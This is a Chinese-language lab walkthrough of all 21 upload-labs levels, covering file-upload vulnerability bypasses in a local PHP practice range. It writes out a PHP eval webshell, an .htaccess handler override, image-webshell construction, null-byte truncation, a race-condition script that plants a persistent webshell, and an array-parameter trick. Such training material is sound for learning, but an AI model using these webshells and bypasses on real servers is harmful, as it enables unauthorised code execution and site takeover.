1. 环境准备与工具介绍

大家好,我是老张,在安全圈混了十来年,今天咱们来聊聊文件上传漏洞这个老生常谈但又经久不衰的话题。对于想入门Web安全的朋友来说,文件上传漏洞绝对是块绝佳的“敲门砖”,它原理直观,绕过手法多样,实战中又非常常见。而 upload-labs 这个靶场,就是为学习这个漏洞量身定做的,它用PHP编写,精心设计了21种不同的防御场景,让你能一站式体验从“青铜”到“王者”的各种绕过技巧。

工欲善其事,必先利其器。在开始我们的“通关”之旅前,你得先把家伙事儿准备好。核心工具就三样:蚁剑(AntSword)、Burp Suite 和 PHPStudy。

  • 蚁剑:这是我们拿到Webshell后的“管理终端”。我推荐使用 AntSword-Loader 这个图形化客户端,它集成了插件市场,管理连接非常方便。你去GitHub上搜“AntSword-Loader”就能找到最新版,下载安装一气呵成。
  • Burp Suite:渗透测试的“瑞士军刀”,抓包、改包、爆破都离不开它。社区版就够我们学习用了,配置好浏览器代理(通常是127.0.0.1:8080),把Burp的CA证书安装到浏览器里,就能开始抓取HTTPS流量了。
  • PHPStudy:一个集成了Apache、PHP、MySQL的Windows环境套件,用来快速搭建靶场。upload-labs对PHP版本有点要求,部分关卡(比如%00截断)需要在PHP 5.2.17等较低版本下才能复现。用PHPStudy 2018这类老版本,可以很方便地切换PHP版本。

靶场本身从GitHub(github.com/c0ny1/upload-labs)下载,解压到PHPStudy的WWW目录下,访问http://localhost/upload-labs就能看到21关的列表了。每关页面右上角通常都有“查看源码”的提示,这是学习代码审计、理解防御逻辑的关键,一定要养成边操作边看源码的习惯。

2. 前端绕过与MIME类型检测(Pass-01至Pass-02)

2.1 Pass-01:JavaScript前端验证绕过

第一关是给新手的一个“下马威”,但也是最简单的。你兴致勃勃地写了一个shell.php,内容是一句话木马<?php @eval($_POST['cmd']);?>,点击上传,浏览器直接弹窗“不允许上传该类型文件!”。

这时候别慌,右键查看网页源代码,你会发现一段JavaScript代码,它在上传前就检查了文件后缀名。这种防御只在浏览器端生效,服务器压根没做检查。绕过方法至少有三种:

  1. 最粗暴的:禁用浏览器JavaScript。 在Firefox地址栏输入about:config,搜索javascript.enabled,将其值改为false,刷新页面再上传,世界清净了。
  2. 最常用的:抓包修改后缀。 这是更通用的方法。先随便把shell.php改名为shell.jpg上传,用Burp Suite拦截这个请求包。在Burp的Proxy -> Intercept标签页里,找到filename="shell.jpg"这行,把它改回filename="shell.php",然后放行。服务器收到的是.php文件,而前端检查已经被我们绕过了。
  3. 利用浏览器开发者工具。 在上传前,打开浏览器开发者工具(F12),切换到“网络(Network)”标签,并勾选“保留日志(Preserve log)”。然后上传.jpg文件,在开发者工具里找到这条上传请求,直接右键编辑并重发(Replay and Edit),修改文件名即可。

上传成功后,页面会返回文件路径,比如upload/shell.php。打开蚁剑,地址填http://localhost/upload-labs/upload/shell.php,连接密码填cmd(就是POST里的那个键名),点击测试连接,看到连接成功,这第一关就算拿下了。

2.2 Pass-02:MIME类型检测绕过

过了第一关,你学聪明了,知道前端不可信。第二关直接上传.php,发现还是报错“文件类型不正确,请重新上传!”。查看源码,发现服务器端开始检查了,但检查的是Content-Type这个头信息。

当你通过网页表单上传文件时,浏览器会自动根据文件后缀设置Content-Type,比如.php文件通常是application/octet-stream或text/php。而这一关的代码只允许image/jpeg、image/png、image/gif这类图片的MIME类型。

绕过方法就是抓包改包。用Burp拦截上传请求,找到Content-Type: application/octet-stream这一行,把它改成Content-Type: image/jpeg,然后放行。服务器一看,“哦,是个图片”,就放行了。文件本身的内容还是我们的PHP木马,不影响执行。

这里有个细节:有些新手改包后上传,发现蚁剑连不上。很可能是因为你只改了Content-Type,但文件名还是.php,而服务器端可能同时检查了后缀。稳妥的做法是,上传时先用.jpg后缀,抓包后同时修改filename为.php和Content-Type为图片类型。这种组合拳在实战中很常用。

3. 黑名单绕过技巧(Pass-03至Pass-11)

从第三关开始,靶场引入了黑名单机制,服务器端明确禁止上传一系列危险后缀,如.php, .asp, .jsp等。我们的任务就是找到这份名单的“漏网之鱼”。

3.1 Pass-03:非常规PHP后缀

查看第三关源码,黑名单里列了.php, .php5, .php4, .php3, .phtml等,但可能漏了.pht,或者服务器配置能解析其他后缀。Apache服务器通过mime.types和AddType指令决定如何解析文件。如果配置了AddType application/x-httpd-php .php .phtml .php3 .php5,那么.phtml、.php3等都会被当作PHP执行。

操作步骤: 直接上传一个名为shell.phtml或shell.php3的文件。如果上传成功但无法执行,可能需要你手动配置PHPStudy,在Apache的httpd.conf里添加对应的AddType指令并重启服务。上传后,用蚁剑连接测试,注意连接地址的后缀要和你上传的文件名一致。

3.4 Pass-04:.htaccess文件攻击

第四关的黑名单几乎囊括了所有已知的PHP变种后缀,常规绕过失效。但名单里往往没有.htaccess这个文件。.htaccess是Apache服务器的分布式配置文件,可以覆盖当前目录及其子目录的服务器配置。

攻击原理: 如果我们能上传一个.htaccess文件,并写入AddType application/x-httpd-php .jpg,那么在这个目录下,所有.jpg文件都会被Apache当作PHP代码来解析。

实操步骤:

  1. 新建一个文本文件,命名为.htaccess(注意前面有个点)。内容为:
    <FilesMatch "shell">
        SetHandler application/x-httpd-php
    </FilesMatch>
    
    这段配置的意思是,任何文件名中包含“shell”字符串的文件,都用PHP解析器来处理。
  2. 先上传这个.htaccess文件。
  3. 再上传一个内容为PHP木马的文件,命名为shell.jpg。
  4. 访问http://localhost/upload-labs/upload/shell.jpg,你会发现它没有显示图片,而是执行了PHP代码。用蚁剑连接这个.jpg文件的地址即可。

注意:这种漏洞利用有两个关键前提:一是服务器是Apache;二是AllowOverride配置允许使用.htaccess覆盖文件类型设置。在高版本PHP(>5.3)的默认配置下,此漏洞通常已被修复,但了解其原理至关重要。

3.5 Pass-05至Pass-11:系统特性与逻辑漏洞

接下来的几关,黑名单越来越完善,我们需要利用Windows系统特性或代码逻辑缺陷。

  • Pass-05(点+空格+点): 代码使用deldot()函数删除末尾的点,但处理shell.php. .(点+空格+点)时,遇到空格会停止删除,最终后缀可能被识别为.,从而绕过黑名单。抓包构造filename="shell.php. ."即可。
  • Pass-06(大小写绕过): 代码缺少strtolower()函数,没有统一转小写。黑名单里是.php,我们传.pHp或.PhP就能绕过。
  • Pass-07(空格绕过): 代码缺少trim()函数,无法去除首尾空格。在文件名末尾加个空格,如shell.php ,系统保存时会忽略末尾空格,但黑名单检查时"php "不等于"php"。
  • Pass-08(点绕过): 代码缺少去除末尾点的函数。Windows系统会自动忽略文件名末尾的点。上传shell.php.,服务器保存为shell.php,但检查时后缀是"php."。
  • Pass-09(::$DATA绕过): 这是Windows流文件的特性。shell.php::$DATA在检查时,后缀被当作"php::$DATA",不在黑名单。Windows在创建文件时,会忽略::$DATA,最终生成shell.php。抓包修改filename="shell.php::$DATA"。
  • Pass-10(双写绕过): 代码使用str_ireplace()将黑名单后缀替换为空字符串,且只替换一次。我们构造后缀pphphp,它找到中间的php并替换为空,剩下的字符组合起来正好是php。抓包修改filename="shell.pphphp"。

这些关卡看似琐碎,但每一个都对应着一种真实的防御疏忽或系统特性。在实战中,尤其是面对Windows服务器时,::$DATA、末尾点和空格都是值得尝试的绕过点。

4. 白名单绕过与截断攻击(Pass-12至Pass-13)

从第十二关开始,防御策略从“黑名单”升级为“白名单”,只允许上传.jpg, .png, .gif等少数几种图片后缀。这显然安全多了,但只要路径可控,我们仍有文章可做。

4.1 Pass-12:GET型%00截断

这一关的代码是关键:

$img_path = $_GET['save_path'] . "/" . 随机文件名 . "." . $file_ext;
move_uploaded_file($temp_file, $img_path);

$file_ext是我们上传文件的后缀(必须是jpg/png/gif),但$img_path的一部分来自URL参数save_path,而这个参数是用户可控的。

漏洞原理: 在PHP 5.3.4之前的版本中,move_uploaded_file()等函数底层使用C语言处理字符串,遇到空字符(NULL,十六进制0x00,URL编码为%00) 会认为字符串结束,后面的内容被截断。这就是著名的“00截断”或“空字节注入”。

攻击步骤:

  1. 准备一个图片马shell.jpg(制作方法后面讲),或者直接上传一个正常的shell.php文件。
  2. 上传时,抓包。将文件名改为shell.jpg(以通过白名单检查)。
  3. 观察上传表单的URL,通常有一个save_path参数。在Burp中,修改这个参数值为../upload/shell.php%00。这里的../upload/是相对路径,shell.php是我们想最终保存的名字,%00就是截断符。
  4. 放行数据包。服务器拼接路径时,得到../upload/shell.php%00/随机文件名.jpg。由于%00被解析为空字符,实际传递给move_uploaded_file的路径变成了../upload/shell.php,后面的部分被丢弃。于是,我们的PHP文件就被成功保存了。

4.2 Pass-13:POST型%00截断

第十三关逻辑和十二关一样,区别在于save_path是通过POST请求传递的。在HTTP协议中,GET请求的参数值会被浏览器自动进行URL解码,所以%00能直接变成空字符。但POST请求的body部分不会自动解码。

解决方法: 在Burp抓到的POST数据包中,我们不能直接写%00,而需要写入空字符本身。有两种方法:

  1. URL解码: 在Burp的拦截面板,选中%00,右键选择“Convert Selection” -> “URL” -> “URL-decode”,%00会变成一个不可见的空字符(显示为空格或特殊符号)。
  2. 十六进制编辑: 切换到Burp的“Hex”标签,找到对应位置,直接修改十六进制值为00。

其余步骤和第十二关完全相同。成功上传后,用蚁剑连接../upload/shell.php即可。这两关深刻揭示了“用户输入可控”与“路径拼接”结合带来的巨大风险,在代码审计时要格外警惕。

5. 文件内容检测与图片木马(Pass-14至Pass-17)

白名单之后,更高级的防御是检测文件内容,确保你上传的真的是一个图片,而不仅仅是后缀名像图片。upload-labs用了三种典型的PHP函数来实现。

5.1 Pass-14:文件头检测

第十四关使用getimagesize()函数,或者直接读取文件前2个字节(文件头魔数)来判断文件类型。

  • JPEG: FF D8
  • PNG: 89 50 4E 47 0D 0A 1A 0A (前8字节)
  • GIF: 47 49 46 38 39 61 (GIF89a) 或 47 49 46 38 37 61 (GIF87a)

绕过方法:制作图片木马。 将真实的图片文件与PHP木马代码合并。

  1. 使用copy命令(Windows): 准备一张正常图片1.jpg和木马文件shell.php。在命令行执行:
    copy /b 1.jpg + shell.php webshell.jpg
    
    /b表示二进制模式,/a表示ASCII模式(通常用于文本文件)。这样生成的webshell.jpg,用图片查看器打开是正常的,但用文本编辑器拉到文件末尾,能看到我们插入的PHP代码。
  2. 使用十六进制编辑器: 用WinHex、010 Editor等工具打开一张图片,在文件末尾(确保不破坏图片的文件头、数据块结构)插入你的PHP代码,然后另存为新文件。

上传这个图片马,可以绕过内容检查。但图片马本身不会被执行,需要配合文件包含漏洞。靶场每关页面通常有一个“文件包含漏洞”链接,指向一个include.php,它用file参数包含指定文件。我们访问:

http://localhost/upload-labs/include.php?file=./upload/webshell.jpg

服务器就会把webshell.jpg当作PHP文件来包含和执行,我们的木马就被激活了。蚁剑连接时,地址就填这个包含漏洞的URL。

5.2 Pass-15与Pass-16:getimagesize()与exif_imagetype()

第十五关使用getimagesize(),第十六关使用exif_imagetype(),它们原理类似,都是通过读取并验证文件头信息来判断图片类型。我们制作的标准图片马(文件头正确)完全可以绕过这两关的检测。绕过方式和第十四关一模一样,上传图片马,然后利用文件包含漏洞执行。

注意:第十六关可能需要开启php_exif扩展。在PHPStudy的PHP配置(php.ini)中找到extension=exif这一行,去掉前面的分号注释,重启服务即可。

5.3 Pass-17:二次渲染绕过

这是图片马攻防的“终极挑战”。服务器不仅检查文件头,还会用GD库函数(如imagecreatefromjpeg())对上传的图片进行二次渲染,生成一张全新的、纯净的图片文件。我们直接附加在图片末尾的代码会在渲染过程中被彻底清除。

绕过思路: 二次渲染并非所有像素数据都会改变。我们需要找到图片中那些经过渲染后保持不变的数据块,将PHP代码精心插入到这些位置。这需要对图片格式(如GIF、PNG、JPEG)的文件结构有深入了解。

以GIF为例的实操步骤(简化版):

  1. 上传一个简单的GIF图片马,然后下载被服务器二次渲染后生成的新GIF文件。
  2. 使用WinHex等工具,对比原始GIF和渲染后GIF的十六进制代码,找到一段完全相同的区域(通常不在文件头等关键区域)。
  3. 将我们的PHP代码(如<?php @eval($_POST['c']);?>)转换成十六进制,覆盖到原始GIF文件的这个不变区域(注意是覆盖,不是插入,避免改变文件大小)。
  4. 上传修改后的GIF文件。二次渲染不会改变这个区域,我们的代码得以保留。
  5. 利用文件包含漏洞包含这个GIF文件,代码成功执行。

对于JPEG和PNG,原理类似但位置更复杂,网上有公开的利用脚本(如jpg_payload.php)可以辅助生成免杀图片马。这一关难度较大,但突破了它,你对文件上传和图片处理的理解会上一个大台阶。

6. 条件竞争漏洞(Pass-18)

第十八关引入了一种基于时间的攻击——条件竞争(Race Condition)。它的代码逻辑是:

  1. 先将用户上传的临时文件移动到目标目录(如upload/tmp.php)。
  2. 然后检查这个文件的后缀是否在白名单内。
  3. 如果不在,就删除这个文件。

问题在于,“移动”和“检查删除”不是原子操作,中间存在一个极短的时间窗口。如果我们在文件被删除之前,成功访问并执行了它,就有可能完成攻击。

攻击场景: 假设我们上传一个shell.php,其内容不是直接执行命令,而是写入一个持久化的Webshell:

<?php file_put_contents('persistent.php', '<?php @eval($_POST["pass"]);?>'); ?>

攻击步骤(使用Burp Intruder):

  1. 持续上传: 上传shell.php并抓包,将数据包发送到Burp的Intruder模块。在Payloads设置中,选择“Null payloads”,并设置持续生成请求(例如,间隔100毫秒)。目的是高频重复上传,增加文件在服务器上存在的几率。
  2. 持续访问: 同时,我们需要高频访问这个即将被删除的文件。可以写一个简单的Python脚本:
    import requests
    url = 'http://localhost/upload-labs/upload/shell.php'
    while True:
        try:
            r = requests.get(url, timeout=1)
            if r.status_code == 200:
                print("[+] 文件访问成功!持久化Webshell可能已写入。")
                break
        except:
            pass
    
    运行这个脚本,它会不停地尝试访问shell.php。
  3. 触发竞争: 同时启动Burp Intruder的攻击和Python脚本。在某个瞬间,当上传的文件刚被移动到目录,而删除操作还未执行时,Python脚本的访问请求到达,shell.php得以执行,从而在服务器上创建出persistent.php这个真正的木马文件。
  4. 连接蚁剑: 竞争成功后,用蚁剑连接persistent.php即可。

这种攻击成功率取决于网络速度和服务器处理速度,可能需要多次尝试。它揭示了“先操作后检查”逻辑顺序的致命缺陷,在代码设计上,应该始终坚持“先检查,后操作”。

7. 解析漏洞与路径控制(Pass-19至Pass-21)

最后三关综合利用了服务器解析特性、路径处理缺陷和参数可控等漏洞。

7.1 Pass-19:非常规后缀与竞争结合

这一关白名单里包含了一个.7z后缀。Apache等服务器在遇到无法识别的后缀时,有时会尝试向前寻找可解析的后缀。如果我们将文件命名为shell.php.7z,服务器可能将其解析为PHP文件。

同时,这一关的代码也存在类似Pass-18的“先移动后检查”逻辑。因此,我们可以结合条件竞争进行攻击。上传shell.php.7z文件,其内容同样是写入持久化Webshell。然后使用Burp Intruder持续轰炸上传请求,并用脚本持续访问shell.php.7z,触发竞争后写入真正的木马。

7.2 Pass-20:路径截断与文件夹伪造

第二十关的代码中,文件保存路径$img_path由UPLOAD_PATH和POST参数save_name拼接而成,并且save_name完全可控。此外,它使用了move_uploaded_file()函数。

在PHP中,move_uploaded_file()有一个特性:如果目标路径以/.结尾,它会将其视为一个目录名。但Windows/Linux系统不允许文件名包含/.,这会导致操作失败吗?不,在某些情况下,这会被当作一个目录路径,而文件则保存在这个“虚拟目录”名下。

攻击方法: 上传一个白名单文件(如shell.jpg),抓包修改POST数据中的save_name参数为shell.php/.。代码拼接后路径为upload/shell.php/.。move_uploaded_file()可能会将shell.php当作一个目录(虽然不存在),而将上传的文件内容以shell.php为名保存。最终我们访问upload/shell.php就能执行木马。

另一种方法是利用Apache换行解析漏洞(CVE-2017-15715),在文件名末尾加一个换行符%0A,如shell.php%0A。在Apache 2.4.0-2.4.29版本中,这可能导致文件被解析为PHP。但这通常需要在Linux环境下。

7.3 Pass-21:数组参数绕过

第二十一关是收官之作,漏洞点非常隐蔽,涉及对参数是否为数组的判断。

源码逻辑简化分析:

  1. 检查$_FILES['upload_file']['type'](MIME类型,可抓包修改绕过)。
  2. 获取文件名:$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
  3. 关键判断: if (!is_array($file)) { $file = explode('.', strtolower($file)); } 如果$file不是数组,就用点号分割成数组。
  4. 取数组最后一个元素作为后缀检查白名单:$ext = end($file);
  5. 生成最终文件名:$file_name = reset($file) . '.' . $file[count($file) - 1];

漏洞利用: 我们控制save_name参数,并将其构造为一个数组。

  1. 上传shell.php文件,抓包。
  2. 修改POST数据,将save_name参数改为数组形式:
    save_name[0]=shell.php
    save_name[2]=jpg
    
    注意:我们故意跳过了索引[1],让save_name[1]为空。
  3. 此时,$file是一个数组:['shell.php', null, 'jpg']。
  4. is_array($file)为真,所以不执行explode分割。
  5. $ext = end($file) 取最后一个元素,是'jpg',通过白名单检查。
  6. $file_name = reset($file) . '.' . $file[count($file) - 1];
    • reset($file) 是 'shell.php'
    • count($file) 是 2(数组有两个有值的元素:索引0和2)
    • $file[count($file) - 1] 即 $file[1],这个位置我们没赋值,是空值。
    • 最终 $file_name = 'shell.php' . '.' . '' = 'shell.php'
  7. 文件以shell.php保存,攻击成功。

这一关的精妙之处在于利用数组索引和count()函数的特性,构造了一个能通过后缀检查,但最终文件名却完全不同的情况。它提醒我们,在处理用户输入,特别是将其转换为数组时,必须考虑所有边界情况。

走完这21关,你经历了一次完整的文件上传漏洞攻防演练。从最简单的前端绕过,到复杂的代码逻辑、系统特性、竞争条件漏洞,每一关都对应着一种真实世界可能存在的防御弱点。掌握它们,不仅能让你在CTF比赛中游刃有余,更能让你在真实的渗透测试中,具备发现和利用这类漏洞的“火眼金睛”。最重要的是,作为开发者,理解了这些攻击手法,你才能写出更安全的代码,从源头上杜绝这些漏洞的产生。安全之路,道阻且长,但每一步都算数。

更多推荐